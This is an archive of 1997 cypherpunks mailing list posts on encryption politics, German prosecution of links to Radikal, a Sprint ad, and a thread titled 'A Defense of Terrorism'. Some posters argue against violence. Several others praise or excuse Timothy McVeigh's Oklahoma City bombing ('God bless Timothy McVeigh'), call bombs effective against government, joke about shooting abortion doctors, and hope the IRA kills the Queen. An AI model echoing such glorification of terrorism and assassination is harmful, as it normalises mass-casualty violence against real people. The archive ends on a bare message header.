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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)"William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 6 Jun 1997 22:47:07 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: Re: Webpage picketing
Message-ID: <199706061436.KAA18298@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 06 Jun 97 00:24:59 -0500, "William H. Geiger III" 
<whgiii@amaranth.com> said:

>Well down here in Pensacola where we like to shoot abortion doctors I
>beleive that there is a 50' seperation (other side of the street).

Actually, this law was lobbied for by Zeiss Optical.  They're trying
to increase sales of rifle scopes.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Nicol - VRL / BroomStick Productions" <nicol@highway1.com.au>
Date: Fri, 6 Jun 1997 00:42:02 +0800
To: cypherpunks@toad.com
Subject: (Fwd) RE: McVeigh? Nimrods.....
Message-ID: <199706051628.AAA15396@hedgehog.highway1.com.au>
MIME-Version: 1.0
Content-Type: text/plain




At 3:50 PM -0700 6/4/97, Paul Bradley wrote:
>> Like my fellow Santa Clara County Resident Bill Frantz said :
>>
>> For cypherpunks this comes down to: Make code, not bombs.
>
>True, code will lead to further liberation in the virtual communities,
>but bombs are an effective device for ending the corrupt tyrannical
>government that rules us.

    It is my contention that, in the present circumstances, bombs
    are not effective devices for ending the corrupt tyrannical
    government which rules us.  They are much more likely to make
    enemies for "our cause" than they are to physically stop the
    government.  Does the phrase, "Bomb throwing anarchist" give you
    the feeling of hero, or of villain?  Most people will answer
    villain, and killing people is not likely to change their minds.

Anyone head of Non-Violent Action (NVA) ?
Seems to me writing and disseminating Code is a pretty effective form 
of NVA

Peter Nicol
Global Media Magnet
nicol@iap.net.au
019 111 943

"Nonlinear models differ form linear ones in a number of ways.  
Rather than trying to figure out all the chains of causality, 
the modeler looks for nodes where feedback loops join and tries 
to capture as many of the important loops as possible in the 
system's "picture."  Rather than shaping the model to make a 
forecast about future events or to exercise some central 
control, the nonlinear modeller is content to perturb 
the model, trying out different variations in order to 
learn about the system's critical points and its homeostasis 
(resitance to change).  The modeler is not seeking to 
control the complex system by quantifying it and mastering 
its causality; she wants to increase her "intuitions" 
about how the system works so she can interact with 
it more harmoniously."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 6 Jun 1997 18:31:54 +0800
To: cypherpunks@toad.com
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
Message-ID: <199706061010.DAA32035@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote:
> 
> Consider, for example, a Black child in the United States who dies of
> a trivial curable disease because of the lack of health care.

  The attempts of Hallam-Baker II Esquire Jr. Knight of the Realm,
etc., to separate the world into supporters of "good" child murderers
and supporters of "bad" child murderers, reflects the attitudes that
lead to those who feel disenfranchised by the government and society
to decide that they have little to lose by striking out at the system
in one way or another.
  Dimitri raises a deeply valid issue here which goes to the heart of
defining what separates a "bean counter" from a "child-murdering 
monster."

  We can't save everyone dying of an incurable disease and provide 
health care for everyone, except at great cost. We can't put in place
airline safety measures or monitor the activities of law enforcement 
agencies for free.
  The government officially puts the price of a human life at 2.5
million
dollars. When a safety problem is found with an aircraft, for example,
that is the figure used to calculate whether the problem will be fixed
or allowed to take X number of human lives. The same concept applies to
government and corporate decisions regarding worker safety (or death),
public safety (or death), health care (or death), and a multitude of
other issues.
  The same thing applies to warfare and self-defence, as well. Society,
government, corporations and individuals all "count the cost" of the
various options available to settle a conflict. A person who might kill
another to prevent them from stealing their family's life savings would
probably not kill another to prevent them from stealing their lunch box.
And a person who would kill another to prevent them from stealing their
family's life savings might not kill another to prevent them from 
stealing *your* life savings.

> Joe Stalin himself took part in several spectacular terrorist acts in
> his youth, which resulted in deaths of dozens of "innocent bystanders".

  Who is the murdering monster--Stalin, Reagan, or McVeigh? It depends
on
whether you ask Newt Gingrich, Saddam Hussein or Joe Oklahoma.
  Are the government and corporate bean-counters who decide not to fix
known safety problems murdering monsters? What if they placed the value
of a human life at *ten* dollars? A *million* dollars?
  Americans aren't outraged over the loss of life, they are merely self-
servingly objecting to the fact that they are being personally presented
with the bill that is coming due for their government's actions. Even
some of those objecting are merely arguing over the "cost" of the bill.
(i.e. - death count, age of victims)

  If McVeigh had whacked out 168 Iranians to free one American hostage,
he would be an American hero. If he had whacked out 168 Americans to
free the U.S. from a Stalinist takeover, he would be a hero.
  Well, he whacked out 168 Americans to free our minds from the belief
that we will bear no personal cost for the aggression and oppression
that the government perpetrates in our name, and to some he is a hero.


  Hallam-Baker would have us believe that anyone who does not roundly
condemn McVeigh is in favor of the death of children. Like Truman,
Churchill and Roosevelt were in favor of the death of children?
  Unless Hallam-Baker wants to propose that everyone who has ever
supported conflict in support of a cause is in favor of the death of
children, then he is just a horse's ass who uses smear tactics where
logic fails.
 
> What I'm driving at is: someone said earlier that Cypherpunks don't make
> bombs, Cypherpunks write code. Well, my response is, if you write code
> for anonymous electronic commerce that seriously challenges the gubmint,
> in a free market environment, then the gubmint will first try to regulate
> it out of existence, and if it fails, it will use whatever force is
> necessary, including jailing and shooting people, to fight for it survival.

  "I didn't put them in the ovens, I just wrote the code that releases
the gas. What kind of monster would bomb a Weapons Laboratory that has
a day-care center in it?"
  The question mainstream America is asking, is:
"What kind of monster would break *my* eggs to make an omlette?"

  What kind of monster would write code that allows someone to send 
email containing child pornography anonymously? What kind of monster 
would write code that can be used to hide drug transactions? What kind
of monster  would write code that can be used by terrorists who break 
*my* omlettes to avoid discovery?
  Hallam-Baker and his ilk want the government to serve them their 
omlette at the dinner table so that they can deny their knowledge of and
complicity in other people's eggs being broken in the kitchen. Then they
can climb on their high horse and complain loudly when the victims of
the government's fraud and abuse decide to break a few eggs themself.

  I'm not in favor of the death of children in Waco, Oklahoma City,
Dublin, Jerusalem, Dresden, or Hiroshima. For Hallam-Baker to suggest
that I and others on the list are is the height of slanderous hypocrisy.
  It is a reality of life that there is a cost associated with freedom
and with life itself. It is up to each of us to make our own decision
as to whether we will take part in determining who pays, and how much,
or whether we delegate those decisions to others and try to distance
ourself from them.

  We can applaud the L.A. police when they tell "white" lies on the 
witness stand about "little" things like not considering the husband of
a murder victim a suspect when they climb over his fence, but then we
will end up complaining when someone we think is a murderer remains
unconvicted because the jury can't determine where the lying stops and
the truth begins.
  We can justify an armed government assault on "cultists" who are in
possession of fewer guns than many mainstream Christians, but then we
will end up complaining when someone else who is "outside" the
mainstream decides that what is good for the gander is good for the
goose.

  The issue of Waco versus OKC is not one of "good" guys and "bad" guys.
It is a difference of opinion over the cost of freedom and the value of
human life. 168 people at 2.5 million/life comes to about one and three-
quarter billion dollars that we paid for the tragedy at Waco.
  Americans seem to be more than willing for citizens of other countries
to bear the cost of freedom when we decide to invade and attack them in
order to protect democracy, etc. Perhaps McVeigh should have bombed the
Iranians to protest Waco--then he might be an American hero...maybe even
the next President--a white Colin Powell.
  If Americans want to cry out in dismay over the "wrong" people being
held accountable for the tragedy in Waco, then they might want to think
about demanding that the "right" people be held accountable in the face
of future government atrocities.
  Perhaps the real anger over the OKC bombing is that the American
people
thought that we had managed to skip out on the bill for our government's
actions at Waco, only to be tracked down and made to pay at home.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: William Church <iwar@iwar.org>
Date: Fri, 6 Jun 1997 21:51:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: JIWAR Registration
In-Reply-To: <199706061120.EAA17123@shell2.ba.best.com>
Message-ID: <33981288.52B0@iwar.org>
MIME-Version: 1.0
Content-Type: text/plain



Confirmed





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: William Church <iwar@iwar.org>
Date: Fri, 6 Jun 1997 22:27:25 +0800
To: cypherpunks@toad.com
Subject: Re: JIWAR Registration
In-Reply-To: <199706061346.GAA16919@shell2.ba.best.com>
Message-ID: <3398199A.1C04@iwar.org>
MIME-Version: 1.0
Content-Type: text/plain



Confirmed with username cypherpunk1






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 6 Jun 1997 23:03:26 +0800
To: cypherpunks@Algebra.COM
Subject: Privacy-loving Europeans are at it again
In-Reply-To: <1.5.4.32.19970606121923.008fab1c@pop.pipeline.com>
Message-ID: <v03102804afbdd3e3c49f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:19 AM -0700 6/6/97, John Young wrote:
>The New York Times reports on page one the German
>prosecution of a woman who linked her home page to
>Radikal. It reviews XS4ALL's role, describes Radikal
>and its mirror sites and links to them all:
>
>   http://www.nytimes.com/library/cyber/week/060697germany.html
>
>It says that Kohl is determined to find a way to police the
>Net in spite of technical work-a-rounds.
>
>Recall a previous report that Kohl and other heads of state are
>to meet in Denver on June 20-22 to plan a global attack
>on "cyber-terrorism," including the spread of encryption:
>
>   http://jya.com/denver.htm


Wait a minute, John! Aren't these the same Europeans described by Marc
Rotenberg as being more privacy- and liberty=loving than Americans?

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 6 Jun 1997 21:13:45 +0800
To: cypherpunks@toad.com
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.LNX.3.95.970605101214.2888A-100000@westsec.denver.ssds.com>
Message-ID: <11LV8D23w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Burnes <jim.burnes@ssds.com> writes:
> > One of the many interesting contributions Joe Stalin made to the Marxist
> > theory was the observation that the class struggle intensifies as the
> > old mode of production becomes obsolete; and that there's really no differe
> > between "terrorist acts" and government-sponsored violence and economic
> > deprivation.  You might view the second statement as the generalization of
> > Klauzewitz's (or Bismarck's?) maxim that war is the continuation of foreign
> > policy by other means.
>
> Well couldn't class struggle simply mean the difference between wielding
> large quantities of power and not.

Stalin claimed (and I agree) that when the ruling classes are facing loss of
power, even due to purely market forces, they will resort to violence to try
to keep their poer: first government regulation/taxation to suppress the new
technologies/modes of production, and when it fails, jailing and killing those
who challenge them.

Imagine a very primitive society on some sort a of Pacific Island, where
people live in relative deprivation and obey the Chief, whose main duties are
to deflower the virgins, and to allocate the meager coconut harvest "fairly".
Some bright islander invents a way to grow many times as much coconut as
before, making the Chief unneeded (say, he discovers that if you shit on the
roots of the palm tree, it acts as a fertilizer :-). The Chief will try to use
whatever means are at his disposal to preserve his power, starting with
regulatory (declaring that to shit on palm tree roots is blasphemy), to
extreme violence (punishing such blasphemy by torture and death), because the
invention, even though non-violent, threatens his rule.

Get it?

Now replace "shitting on palm tree roots" with "anonymous digital commerce".

> If thats the case then Stalin was
> the ultimate hypocrite when his wonderful revolution attained of
> temporary system of government.  That system of government was unstable
> in that in failed to allow people to provide for their own and each
> other's welfare through free market activity.

Irrelevant to what I was talking about.

> As resistance to centralized modes of production increased (especially
> with the farmers), the central government systematically starved 20
> million people to death.

Irrelevant to what I was talking about, and not quite true.

(The number of farmers starved to death was at most 6 million; many others
died elsewhere. Yes, Stalin used arguments such as the one I cited as the
theoritical justification for the forcible farm collectivization (actually
invented by Trotsky :-)).

> Reminds me a lot of Orwell's "Animal Farm".
>
> Though I do agree in principle with the idea that corruption runs rampant
> at the end of a megapolitical era (for more or less the same reasons),
> Stalin was not the first to have this idea.   For a run-down on this
> concept check out the much-maligned "Sovereign Individual".
>
>
> > Consider, for example, a Black child in the United States who dies of
> > a trivial curable disease because of the lack of health care. Consider
> > the child's parents who labor "off the books" in menial jobs, who are
> > deprived by the state from the ability to marry, to work "on the books",
> > to hold a bank account, et al. Is being deprived from the results of one's
> > labor that different from being sold at an auctioned and whipped in
> > a public ceremony to terrify other (wage) slaves?
> >
>
> No.  I agree with you here.  I think the difference is in the resolve
> of the individuals under this kind of pressure.
>
> > Joe Stalin himself took part in several spectacular terrorist acts in
> > his youth, which resulted in deaths of dozens of "innocent bystanders".
>
> make that millions

Not in his youth.

Before Stalin got in the position of ordering his minion to kill millions
of people, he used to be a "hands-on" terrorist - blowing up Tsarist
officials, robbing banks, killing numbers of "innocent bystanders".

> > Prepare for crypto to be criminalzed.
>
> definitely.  but under what system of law?  for all practical purposes the
> constitution is null and void.  the people that run this country do so
> under the guise of constitutionalism, but its all a grand facade.  the
> whole idea of the current government is a type of consensual reality.
> (literally so, perhaps?)  When enough people agree that the version of
> reality no longer serves them, they will agree that it doesn't exist.
>
> This, of course, assumes they have the power to alter it.

Under the same system of law that criminalizes mj, sex for teenagers,
"sodomy" between concenting adults, driving over 55, tax evasion, et al.

> > Prepare for the former cpunks who
> > "sold out" (C2Net and the like) to support criminalization of crypto use
> > within the U.S. in exchange for a possible relexation of export rules.
>
> I'm not sure I understand why you assert that C2Net "sold out".  I was
> probably out of town at the time this discussion went down.

Yes - review the list archives. C2Net supports criminalizing domestic use of
encryption for the first time, and also sends threatening lawyer letters to
security experts who question their products.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 6 Jun 1997 20:47:52 +0800
To: cypherpunks@toad.com
Subject: NYT on German Net Police
Message-ID: <1.5.4.32.19970606121923.008fab1c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The New York Times reports on page one the German
prosecution of a woman who linked her home page to 
Radikal. It reviews XS4ALL's role, describes Radikal
and its mirror sites and links to them all:

   http://www.nytimes.com/library/cyber/week/060697germany.html

It says that Kohl is determined to find a way to police the
Net in spite of technical work-a-rounds.

Recall a previous report that Kohl and other heads of state are 
to meet in Denver on June 20-22 to plan a global attack
on "cyber-terrorism," including the spread of encryption:

   http://jya.com/denver.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Lucas <davidlu@sco.COM>
Date: Fri, 6 Jun 1997 15:46:43 +0800
To: Marshall Clow <mclow@owl.csusm.edu>
Subject: Re: TV Commercial
In-Reply-To: <v03102804afb1690a6994@[207.67.207.179]>
Message-ID: <3.0.2.32.19970606083424.007b6100@middx.x.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



At 14:09 05/06/97 -0700, you wrote:
>Today on TV, I saw an advertisement.
>
>Image:	Two ships exchanging searchlight-type signals.
>
>Voiceover:
>	It's common sense, really.
>	You should be able to communicate with anyone
>	without worring about the security of your communications.
>
>	Sprint PCS. Secure digital communications.

It's a nice thought, but the image is all wrong. Two ships communicating
via Aldis lamps (presumably, I haven't seen the ad) using Morse at a guess,
isn't what I would call very secure communication.

Still, what do the ad-men know?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
               David Lucas - Test Engineer @ SCO Cambridge.
                          E-mail: davidlu@sco.com

 Opinions expressed within this message are my own and do not necessarily
            represent those of my employer * I am not a lawyer
--------------------------------------------------------------------------
        The light at the end of the tunnel is an oncoming train...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 7 Jun 1997 01:09:49 +0800
To: David Lucas <mclow@owl.csusm.edu>
Subject: Re: TV Commercial
In-Reply-To: <v03102804afb1690a6994@[207.67.207.179]>
Message-ID: <v03007844afbde7341de8@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:34 AM -0700 6/6/97, David Lucas wrote:
>It's a nice thought, but the image is all wrong. Two ships communicating
>via Aldis lamps (presumably, I haven't seen the ad) using Morse at a guess,
>isn't what I would call very secure communication.

Well, the Japanese managed to keep secure communications when sneeking up
on Pearl Harbor, and I assume they used something similar for ship-to-ship
communications.  Narrow beam, and everyone who can receive is in sight is
nice.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 7 Jun 1997 00:45:27 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: NYT on German Net Police
In-Reply-To: <1.5.4.32.19970606121923.008fab1c@pop.pipeline.com>
Message-ID: <v03102801afbdeb999ffd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:40 AM -0700 6/6/97, Robert Hettinga wrote:
>At 8:19 am -0400 on 6/6/97, John Young wrote:
>
>
>> Recall a previous report that Kohl and other heads of state are
>> to meet in Denver on June 20-22 to plan a global attack
>> on "cyber-terrorism," including the spread of encryption:
>>
>>    http://jya.com/denver.htm
>
>Wow. What an opportunity for street theater *that* might be...
>
>Anyone up for a little road-trip?
>
>Yeah, I know. Everyone *else* has a *job*, or something... :-).

No, I don't have a job.

But there's no way in hell I'm going to expose myself to imprisonment in a
German jail to make some metaphorical point about the resurgence of fascism
in Germany.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 7 Jun 1997 03:43:33 +0800
To: cypherpunks@toad.com
Subject: Thomases lose appeal in second case
Message-ID: <3.0.1.32.19970606095702.0073a340@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Remember the Amateur Action BBS case from 1994, when Robert Thomas
got convicted by a Federal court in Tennessee for distributing pornography
on his BBS in California?  Well, he was also prosecuted in Utah 
for distributing pornography from the BBS (the Merc doesn't say if it 
was a state or federal prosecution, but it looks like state),
and he just lost his appeal in Federal court.  One of his defense arguments
was double jeopardy, and the court rejected that because the
Utah court busted him for different pictures than the Tennessee court.
While distributing child pornography is reprehensible, it's still
none of Utah's business; the ACLU lawyer defending Thomas says there's
no evidence that any Utah citizens actually downloaded any (except the
police).



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 7 Jun 1997 00:25:11 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <11LV8D23w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970606095903.6481A-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 6 Jun 1997, Dr.Dimitri Vulis KOTM wrote:

> (The number of farmers starved to death was at most 6 million; many others
> died elsewhere. Yes, Stalin used arguments such as the one I cited as the
> theoritical justification for the forcible farm collectivization (actually
> invented by Trotsky :-)).
> 

Thanks for the correction.  (geez...how often is that heard on this
group  ;-)  )

> > > Prepare for crypto to be criminalzed.
> >
> > definitely.  but under what system of law?  for all practical purposes the
> > constitution is null and void.  the people that run this country do so
> > under the guise of constitutionalism, but its all a grand facade.  the
> > whole idea of the current government is a type of consensual reality.
> > (literally so, perhaps?)  When enough people agree that the version of
> > reality no longer serves them, they will agree that it doesn't exist.
> >
> > This, of course, assumes they have the power to alter it.
> 
> Under the same system of law that criminalizes mj, sex for teenagers,
> "sodomy" between concenting adults, driving over 55, tax evasion, et al.
> 

I understand, but my point was that at some point the system of "law" 
became simply a system of supplicating the masses and no longer serves
justice.  When the system of law ceases to be a system of law and becomes
of system of corruption I no longer refer to it as law.  Important
Orwellian distinction.  Never let the bastards control the definitions and
language.

Clear thought on most matters can only occurr when the definitions
are clear and true.  If I said that my house was a thing with no
roof, no electricity, but it had a good cable hook-up, I may never
know what a real house is.  But I may sense the need to keep the 
rain off my head.

Oh well.  Its a hard thing to describe.

I guess its like the whole liberal debate on "assault weapons".  They even
have the conservative pro-gun types talking in those terms.  When your
opponent controls the language of the debate, they have already won.

> > > Prepare for the former cpunks who > > > "sold out" (C2Net
and the like) to support criminalization of crypto use

I said: I'm not sure I understand why you assert that C2Net "sold out". I
was probably out of town at the time this discussion went down.

You said: Yes - review the list archives. C2Net supports criminalizing
domestic use of  encryption for the first time, and also sends threatening
lawyer letters to  security experts who question their products.

If this is true (the bit about supporting criminalization of crypto) it
contradicts everything I know about Parekh.  Im not saying its not
possible, but did they really just come out and say it??

The part about using lawyers to threaten the people who question the
quality of their products is slimy, but predictable.

If you can give me a pointer to the relavent part of the archives
I'd appreciate it.

Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 7 Jun 1997 00:33:26 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: NYT on German Net Police
In-Reply-To: <v03020990afbdd12dbf13@[139.167.130.246]>
Message-ID: <Pine.LNX.3.95.970606102400.6481B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 6 Jun 1997, Robert Hettinga wrote:

> At 8:19 am -0400 on 6/6/97, John Young wrote:
> 
> 
> > Recall a previous report that Kohl and other heads of state are
> > to meet in Denver on June 20-22 to plan a global attack
> > on "cyber-terrorism," including the spread of encryption:
> >
> >    http://jya.com/denver.htm
> 
> Wow. What an opportunity for street theater *that* might be...
> 
> Anyone up for a little road-trip?
> 
> Yeah, I know. Everyone *else* has a *job*, or something... :-).
> 
> Cheers,
> Bob Hettinga
> 

I live in Denver, Bob.  Let me know what you have in mind.  ;-)

Jim Burnes

PS: I've been wanting to track down some of my FC97 buddies.  Could
you forward me the FC97 mailing list? Thanx.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 6 Jun 1997 21:16:07 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Dimitri McVeigh
In-Reply-To: <199706060336.XAA23074@dhp.com>
Message-ID: <Pine.LNX.3.91.970606102439.1642C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>   Dimitri has long pushed the envelope of censorship and challenged
> those who don't like it to do something about it.
>   The reason that Hallam-Baker is able to post thinly veiled "Dimitri
> is a cocksucker!" messages to the list is because Dimitri refused to
> lay down and quit when he was forcibly censored for his "Gilmore is
> a cocksucker!" messages. If the censorship coupe d'etat had succeded,
> then Hallam-Baker's post would have been trashed into the flames list.

Yes, Hallam-Baker seems unable to handle a killfile.

>   The bottom line is that Hallam-Baker's demeaning of Dimitri without
> facing censorship on this list and on USENET is partly the result of
> the efforts of Dimitri, himself, to fight censorship.
>   This is not surprising, since, after all, Dimitri is a cypherpunk.
> (Despite all of his claims to the contrary.)

I think the "John Gilmore is a cocksucker", along with the 
OBModeratorFodder material played a strong part in bringing about an 
uncensored list, it is often necessary to bring the censorous 
motherfuckers out into the open, there is no better way to do this than 
posting rants they do not like, for a good example of this technique see 
Dr. Grubor.
I should also note than not all Dimitri posts is one-line rants, not now 
anyway ;-)...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 6 Jun 1997 23:21:07 +0800
To: cypherpunks@toad.com
Subject: Re: NYT on German Net Police
In-Reply-To: <1.5.4.32.19970606121923.008fab1c@pop.pipeline.com>
Message-ID: <v03020990afbdd12dbf13@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:19 am -0400 on 6/6/97, John Young wrote:


> Recall a previous report that Kohl and other heads of state are
> to meet in Denver on June 20-22 to plan a global attack
> on "cyber-terrorism," including the spread of encryption:
>
>    http://jya.com/denver.htm

Wow. What an opportunity for street theater *that* might be...

Anyone up for a little road-trip?

Yeah, I know. Everyone *else* has a *job*, or something... :-).

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 6 Jun 1997 21:23:08 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Kill the children!
In-Reply-To: <199706052104.OAA03298@fat.doobie.com>
Message-ID: <Pine.LNX.3.91.970606103615.1642D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





>   God bless Timothy McVeigh for exposing the mindless hypocrisy of the
> American people, as well as the _mindful_ hypocrisy of the Government
> Rulers of Amerika.

Indeed, while McVeigh, or the guilty person if it was not McVeigh, can be 
categorised as evil, because of his acceptance of the death of a few 
innocents just to get at the guilty, his acts are certainly interesting 
in terms of the reactions they elicit from people and the level of 
reactionism they provoke, of course, it is virtually impossible to have a 
reasonable discussion with any of the sheeple about an issue like this, 
they get scared.

>   Billy Graham, as the populist representative of Christianity, visits
> the White House but we are little likely to see him visiting McVeigh
> because some children's lives seem to be more precious than others, and
> those who take them are subject to different moral judgments.

Of course, the consent of the majority of the people in your particular 
corner of the world puts you above the law. Some innocents are more 
innocent than others.

>  Waco was nothing more than a "wake-up call" that many Americans slept
> through. Timothy MvVeigh did not--he woke up and crowed loud enough for
> all of us to hear. The American government, people and press, however,
> want merely to shut him up and go back to sleep, pretending that there
> still isn't enough light to see their own sins and rectify them.

Acts of terrorism always have the same response though, of course McVeigh 
has been painted by the media as public enemy number 1 in the new 
Amerika, a far right extremist, I`m quite suprised actually the 
government didn`t try to put a racist spin on the killings.

>  Americans are now loudly calling for McVeigh to receive an electrical
> message complaining about the high cost of the breakfast bill on the 
> expense report he provided us.
>  I wouldn't be surprised if his final words were, "Eggs is eggs."

Of course, if a government building in some middle-eastern "dictatorship 
of the week" country had been blown up with great loss of life, the 
american press and elected scum would have been falling over themselves 
rushing to congratulate the "heroic American soldier" who had carried out 
this "great act of liberation". By the way, did you know bootlace 
production is up 300% and tobacco rations are going up comrade? 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 6 Jun 1997 21:04:13 +0800
To: Kris Carlier <root@iguana.be>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.LNX.3.95.970605172447.9706C-100000@inlimbox.iguana.be>
Message-ID: <Pine.LNX.3.91.970606110806.1642F-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> > "Learning to live together" is absurd when the other side has stolen
> >  your land.
>    ^^^^
> 
> 'your' land ? Oh, you mean what Columbus did ?
> Otoh, you're right. The best way to solve problems is to kill the
> problem-maker(s at both sides). But be sure to kill everyone, including
> babies and such. And don't forget to kill everyone you suspect might one
> day think (s)he is a far-far-descendant of the killed ones... Let's blow
> up the earth, while we're on it ?

How long have you been on this list? Clearly not long enough.


> not! The major reason people can't live together is furnished by
> politicians who feel they should make it to history books ;-(

Tims post made a good point, people soon forget the causes of conflict 
and only see the effects, today, hardly anyone in the UK sees the IRA as 
an organisation devoted to liberating NI, merely a bunch of thugs. Of 
course they have brought this on themselves by indiscriminately blowing 
things up. Talking of which the Queen is visiting Hastings (a town about 
5 miles from me) today, I hope the IRA blow her up...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 6 Jun 1997 23:35:16 +0800
To: cypherpunks@toad.com
Subject: Re: e$: The greater fool theory of Digicash, quantified, roughly
